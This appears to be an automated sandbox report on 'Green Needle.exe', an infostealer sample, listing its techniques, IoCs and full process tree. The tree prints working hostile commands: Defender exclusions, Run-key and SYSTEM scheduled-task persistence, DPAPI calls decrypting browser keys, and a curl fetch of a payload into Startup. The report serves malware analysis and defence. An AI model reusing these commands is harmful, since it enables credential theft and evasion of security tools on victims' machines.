9ac58b5e0f9b637d60285f918432160337a93d83ad213ce9561a1433168c7b9f

Analysis

max time kernel
140s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 14:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Green Needle.exe
Size

37.6MB
MD5

c7cbc7e63800c94a24fbbf8d30772429
SHA1

f1b0cf8085359450b62902d9e8ef96596b5db4ae
SHA256

aca8fd0fe5ebea04cfd3fa3e4526bea40add68671e1a708637bc393fef4b483b
SHA512

4e32ac11b2f9af9ba866c89b3a686645dc9fb59ab88f6fac4f55846e7a6f01f2cfcbd879f7ab5645f6bd95b98c29c266e771686468f82db911fd9467afcc29b9
SSDEEP

786432:R3on1HvSzxAMNUFZArYsjiWPv0x7OZbEhN:RYn1HvSpNUXmjn4vhN

Score

8^/10

defense_evasion execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe
1864	powershell.exe
2776	powershell.exe
4884	powershell.exe
4308	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	Green Needle.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cscript.exe

Loads dropped DLL 1 IoCs

pid	Process
3252	Green Needle.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Powershell = "\"powershell.exe\" -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Roaming\\zZXoBSvwrNyPGJd.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Green Needle.exe"	reg.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4428	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
21	discord.com
25	discord.com
54	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
1924	cmd.exe
4068	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 11 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4116	WMIC.exe
4252	WMIC.exe
4256	WMIC.exe
744	WMIC.exe
3968	WMIC.exe
3820	WMIC.exe
3124	WMIC.exe
1776	WMIC.exe
4600	WMIC.exe
3532	WMIC.exe
1388	WMIC.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
3968	tasklist.exe
3760	tasklist.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5068	reg.exe
3248	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5024	schtasks.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
2776	powershell.exe
2776	powershell.exe
60	powershell.exe
60	powershell.exe
2708	powershell.exe
2708	powershell.exe
4308	powershell.exe
4308	powershell.exe
4308	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
1052	powershell.exe
1052	powershell.exe
1052	powershell.exe
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe
4924	powershell.exe
4924	powershell.exe
4924	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
3252	Green Needle.exe
3252	Green Needle.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
3252	Green Needle.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
3324	powershell.exe
3324	powershell.exe
3324	powershell.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	3968	tasklist.exe
Token: SeDebugPrivilege	3760	tasklist.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeIncreaseQuotaPrivilege	1980	WMIC.exe
Token: SeSecurityPrivilege	1980	WMIC.exe
Token: SeTakeOwnershipPrivilege	1980	WMIC.exe
Token: SeLoadDriverPrivilege	1980	WMIC.exe
Token: SeSystemProfilePrivilege	1980	WMIC.exe
Token: SeSystemtimePrivilege	1980	WMIC.exe
Token: SeProfSingleProcessPrivilege	1980	WMIC.exe
Token: SeIncBasePriorityPrivilege	1980	WMIC.exe
Token: SeCreatePagefilePrivilege	1980	WMIC.exe
Token: SeBackupPrivilege	1980	WMIC.exe
Token: SeRestorePrivilege	1980	WMIC.exe
Token: SeShutdownPrivilege	1980	WMIC.exe
Token: SeDebugPrivilege	1980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1980	WMIC.exe
Token: SeRemoteShutdownPrivilege	1980	WMIC.exe
Token: SeUndockPrivilege	1980	WMIC.exe
Token: SeManageVolumePrivilege	1980	WMIC.exe
Token: 33	1980	WMIC.exe
Token: 34	1980	WMIC.exe
Token: 35	1980	WMIC.exe
Token: 36	1980	WMIC.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeIncreaseQuotaPrivilege	464	WMIC.exe
Token: SeSecurityPrivilege	464	WMIC.exe
Token: SeTakeOwnershipPrivilege	464	WMIC.exe
Token: SeLoadDriverPrivilege	464	WMIC.exe
Token: SeSystemProfilePrivilege	464	WMIC.exe
Token: SeSystemtimePrivilege	464	WMIC.exe
Token: SeProfSingleProcessPrivilege	464	WMIC.exe
Token: SeIncBasePriorityPrivilege	464	WMIC.exe
Token: SeCreatePagefilePrivilege	464	WMIC.exe
Token: SeBackupPrivilege	464	WMIC.exe
Token: SeRestorePrivilege	464	WMIC.exe
Token: SeShutdownPrivilege	464	WMIC.exe
Token: SeDebugPrivilege	464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	464	WMIC.exe
Token: SeRemoteShutdownPrivilege	464	WMIC.exe
Token: SeUndockPrivilege	464	WMIC.exe
Token: SeManageVolumePrivilege	464	WMIC.exe
Token: 33	464	WMIC.exe
Token: 34	464	WMIC.exe
Token: 35	464	WMIC.exe
Token: 36	464	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1980	WMIC.exe
Token: SeSecurityPrivilege	1980	WMIC.exe
Token: SeTakeOwnershipPrivilege	1980	WMIC.exe
Token: SeLoadDriverPrivilege	1980	WMIC.exe
Token: SeSystemProfilePrivilege	1980	WMIC.exe
Token: SeSystemtimePrivilege	1980	WMIC.exe
Token: SeProfSingleProcessPrivilege	1980	WMIC.exe
Token: SeIncBasePriorityPrivilege	1980	WMIC.exe
Token: SeCreatePagefilePrivilege	1980	WMIC.exe
Token: SeBackupPrivilege	1980	WMIC.exe
Token: SeRestorePrivilege	1980	WMIC.exe
Token: SeShutdownPrivilege	1980	WMIC.exe
Token: SeDebugPrivilege	1980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1980	WMIC.exe
Token: SeRemoteShutdownPrivilege	1980	WMIC.exe
Token: SeUndockPrivilege	1980	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 2028	3252	Green Needle.exe	88
PID 3252 wrote to memory of 2028	3252	Green Needle.exe	88
PID 2028 wrote to memory of 3560	2028	cmd.exe	89
PID 2028 wrote to memory of 3560	2028	cmd.exe	89
PID 2028 wrote to memory of 2776	2028	cmd.exe	90
PID 2028 wrote to memory of 2776	2028	cmd.exe	90
PID 2776 wrote to memory of 4248	2776	powershell.exe	93
PID 2776 wrote to memory of 4248	2776	powershell.exe	93
PID 4248 wrote to memory of 2880	4248	csc.exe	94
PID 4248 wrote to memory of 2880	4248	csc.exe	94
PID 3252 wrote to memory of 1012	3252	Green Needle.exe	95
PID 3252 wrote to memory of 1012	3252	Green Needle.exe	95
PID 1012 wrote to memory of 2872	1012	cmd.exe	96
PID 1012 wrote to memory of 2872	1012	cmd.exe	96
PID 3252 wrote to memory of 984	3252	Green Needle.exe	97
PID 3252 wrote to memory of 984	3252	Green Needle.exe	97
PID 984 wrote to memory of 3968	984	cmd.exe	98
PID 984 wrote to memory of 3968	984	cmd.exe	98
PID 3252 wrote to memory of 2300	3252	Green Needle.exe	101
PID 3252 wrote to memory of 2300	3252	Green Needle.exe	101
PID 3252 wrote to memory of 1924	3252	Green Needle.exe	102
PID 3252 wrote to memory of 1924	3252	Green Needle.exe	102
PID 1924 wrote to memory of 60	1924	cmd.exe	103
PID 1924 wrote to memory of 60	1924	cmd.exe	103
PID 2300 wrote to memory of 3760	2300	cmd.exe	104
PID 2300 wrote to memory of 3760	2300	cmd.exe	104
PID 3252 wrote to memory of 4068	3252	Green Needle.exe	105
PID 3252 wrote to memory of 4068	3252	Green Needle.exe	105
PID 4068 wrote to memory of 2708	4068	cmd.exe	106
PID 4068 wrote to memory of 2708	4068	cmd.exe	106
PID 3252 wrote to memory of 2068	3252	Green Needle.exe	145
PID 3252 wrote to memory of 2068	3252	Green Needle.exe	145
PID 3252 wrote to memory of 3152	3252	Green Needle.exe	108
PID 3252 wrote to memory of 3152	3252	Green Needle.exe	108
PID 3252 wrote to memory of 2264	3252	Green Needle.exe	109
PID 3252 wrote to memory of 2264	3252	Green Needle.exe	109
PID 3252 wrote to memory of 4428	3252	Green Needle.exe	110
PID 3252 wrote to memory of 4428	3252	Green Needle.exe	110
PID 4428 wrote to memory of 4308	4428	cmd.exe	111
PID 4428 wrote to memory of 4308	4428	cmd.exe	111
PID 3252 wrote to memory of 2212	3252	Green Needle.exe	112
PID 3252 wrote to memory of 2212	3252	Green Needle.exe	112
PID 2264 wrote to memory of 5024	2264	cmd.exe	113
PID 2264 wrote to memory of 5024	2264	cmd.exe	113
PID 3152 wrote to memory of 1868	3152	cmd.exe	115
PID 3152 wrote to memory of 1868	3152	cmd.exe	115
PID 2068 wrote to memory of 1980	2068	cmd.exe	114
PID 2068 wrote to memory of 1980	2068	cmd.exe	114
PID 2212 wrote to memory of 464	2212	cmd.exe	116
PID 2212 wrote to memory of 464	2212	cmd.exe	116
PID 3252 wrote to memory of 2944	3252	Green Needle.exe	117
PID 3252 wrote to memory of 2944	3252	Green Needle.exe	117
PID 2944 wrote to memory of 4800	2944	cmd.exe	118
PID 2944 wrote to memory of 4800	2944	cmd.exe	118
PID 3252 wrote to memory of 2844	3252	Green Needle.exe	119
PID 3252 wrote to memory of 2844	3252	Green Needle.exe	119
PID 3252 wrote to memory of 2572	3252	Green Needle.exe	153
PID 3252 wrote to memory of 2572	3252	Green Needle.exe	153
PID 2844 wrote to memory of 4388	2844	cmd.exe	155
PID 2844 wrote to memory of 4388	2844	cmd.exe	155
PID 2572 wrote to memory of 2948	2572	cmd.exe	122
PID 2572 wrote to memory of 2948	2572	cmd.exe	122
PID 2572 wrote to memory of 4332	2572	cmd.exe	123
PID 2572 wrote to memory of 4332	2572	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Green Needle.exe
"C:\Users\Admin\AppData\Local\Temp\Green Needle.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "type .\temp.ps1 | powershell.exe -noprofile -"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type .\temp.ps1 "
    3⤵
    PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\elhpjo5g\elhpjo5g.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4248
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB371.tmp" "c:\Users\Admin\AppData\Local\Temp\elhpjo5g\CSCD1AD889C4524ED09739529864DFFFF.TMP"
        5⤵
        
        PID:2880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,80,53,1,172,14,91,104,64,133,220,87,24,131,228,79,236,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,12,67,112,81,65,254,82,234,42,6,33,141,233,114,232,25,35,71,181,226,244,64,148,129,179,20,208,64,201,255,197,74,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,161,155,8,226,208,242,245,102,136,79,207,151,5,15,165,22,249,45,84,2,134,154,164,50,179,76,44,98,163,221,120,149,48,0,0,0,36,183,155,100,61,28,43,127,28,208,68,3,53,23,101,29,25,177,87,127,251,47,154,146,161,8,167,162,225,26,139,57,188,124,1,159,139,232,206,21,168,231,48,18,239,119,167,75,64,0,0,0,198,115,221,230,246,95,227,174,166,50,88,38,119,54,191,30,233,2,243,56,190,118,166,163,27,174,134,251,106,159,48,234,193,162,64,98,250,139,233,253,43,17,48,239,155,216,105,32,146,85,51,23,51,134,218,213,187,42,205,15,208,127,19,208), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,80,53,1,172,14,91,104,64,133,220,87,24,131,228,79,236,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,12,67,112,81,65,254,82,234,42,6,33,141,233,114,232,25,35,71,181,226,244,64,148,129,179,20,208,64,201,255,197,74,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,161,155,8,226,208,242,245,102,136,79,207,151,5,15,165,22,249,45,84,2,134,154,164,50,179,76,44,98,163,221,120,149,48,0,0,0,36,183,155,100,61,28,43,127,28,208,68,3,53,23,101,29,25,177,87,127,251,47,154,146,161,8,167,162,225,26,139,57,188,124,1,159,139,232,206,21,168,231,48,18,239,119,167,75,64,0,0,0,198,115,221,230,246,95,227,174,166,50,88,38,119,54,191,30,233,2,243,56,190,118,166,163,27,174,134,251,106,159,48,234,193,162,64,98,250,139,233,253,43,17,48,239,155,216,105,32,146,85,51,23,51,134,218,213,187,42,205,15,208,127,19,208), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,80,53,1,172,14,91,104,64,133,220,87,24,131,228,79,236,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,129,150,7,152,140,34,10,182,108,164,63,240,61,175,181,33,230,254,119,53,36,193,59,222,234,203,28,216,42,204,193,29,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,217,196,107,94,83,135,184,246,12,210,236,84,62,28,209,97,189,96,138,184,218,175,214,71,162,126,118,179,212,149,73,109,48,0,0,0,254,242,73,0,54,36,26,175,136,189,76,128,3,93,145,141,240,104,235,113,139,213,151,225,21,255,220,72,128,101,113,225,107,85,149,148,182,155,133,219,254,238,99,118,199,51,126,56,64,0,0,0,98,123,239,97,205,76,148,142,164,36,137,89,33,115,154,212,177,107,243,197,112,105,209,52,90,102,239,116,198,85,177,70,201,34,224,49,163,32,131,99,186,223,179,199,117,96,213,31,221,42,86,135,119,207,60,204,129,107,197,59,12,52,50,44), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,80,53,1,172,14,91,104,64,133,220,87,24,131,228,79,236,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,129,150,7,152,140,34,10,182,108,164,63,240,61,175,181,33,230,254,119,53,36,193,59,222,234,203,28,216,42,204,193,29,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,217,196,107,94,83,135,184,246,12,210,236,84,62,28,209,97,189,96,138,184,218,175,214,71,162,126,118,179,212,149,73,109,48,0,0,0,254,242,73,0,54,36,26,175,136,189,76,128,3,93,145,141,240,104,235,113,139,213,151,225,21,255,220,72,128,101,113,225,107,85,149,148,182,155,133,219,254,238,99,118,199,51,126,56,64,0,0,0,98,123,239,97,205,76,148,142,164,36,137,89,33,115,154,212,177,107,243,197,112,105,209,52,90,102,239,116,198,85,177,70,201,34,224,49,163,32,131,99,186,223,179,199,117,96,213,31,221,42,86,135,119,207,60,204,129,107,197,59,12,52,50,44), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
    3⤵
    PID:1868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hw3vmlfp\hw3vmlfp.cmdline"
      4⤵
      PID:368
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBB32.tmp" "c:\Users\Admin\AppData\Local\Temp\hw3vmlfp\CSCB52CF1EA84A04E3F9ADAFB16DA87921C.TMP"
        5⤵
        
        PID:3228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs"
    3⤵
    - Checks computer location settings
    PID:4800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat" "
      4⤵
      PID:1400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1864
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Green Needle.exe" /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:5068
    - - C:\Windows\system32\reg.exe
        
        reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam"
        5⤵
        Modifies registry key
        
        PID:3248
    - - C:\Windows\system32\curl.exe
        
        curl -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam_Service.exe" YOUR-BINDED-EXE-LINK-HERE
        5⤵
        
        PID:5000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:4388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:2948
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:4332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:4344
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
  2⤵
  PID:2980
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:2684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:3544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
  2⤵
  PID:116
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Description,PNPDeviceID
    3⤵
    PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
  2⤵
  PID:1240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic memorychip get serialnumber
    3⤵
    PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:3428
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  PID:3508
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:3492
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:2068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:2868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
  2⤵
  PID:2664
- - C:\Windows\system32\getmac.exe
    getmac /NH
    3⤵
    PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:1340
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:4248
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:2572
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3820
